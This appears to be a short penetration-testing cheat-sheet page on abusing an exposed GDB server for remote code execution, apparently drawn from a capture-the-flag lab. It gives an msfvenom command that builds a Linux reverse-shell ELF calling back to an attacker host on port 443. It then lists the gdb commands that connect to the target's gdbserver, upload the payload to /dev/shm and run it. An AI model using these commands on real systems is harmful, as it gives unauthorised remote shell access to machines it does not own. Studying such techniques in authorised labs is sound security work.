# GDB / GDBServer

## Remote Code execution by remote Debugging

### Create Payload

{% code fullWidth="false" %}

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 PrependFork=true -f elf -o rev.elf
```

{% endcode %}

### Connecting to the server

```bash
$ gdb -q rev.elf 

(gdb) target extended-remote 10.10.11.125:1337
(gdb) remote put rev.elf /dev/shm/rev
(gdb) set remote exec-file /dev/shm/rev
(gdb) run
```
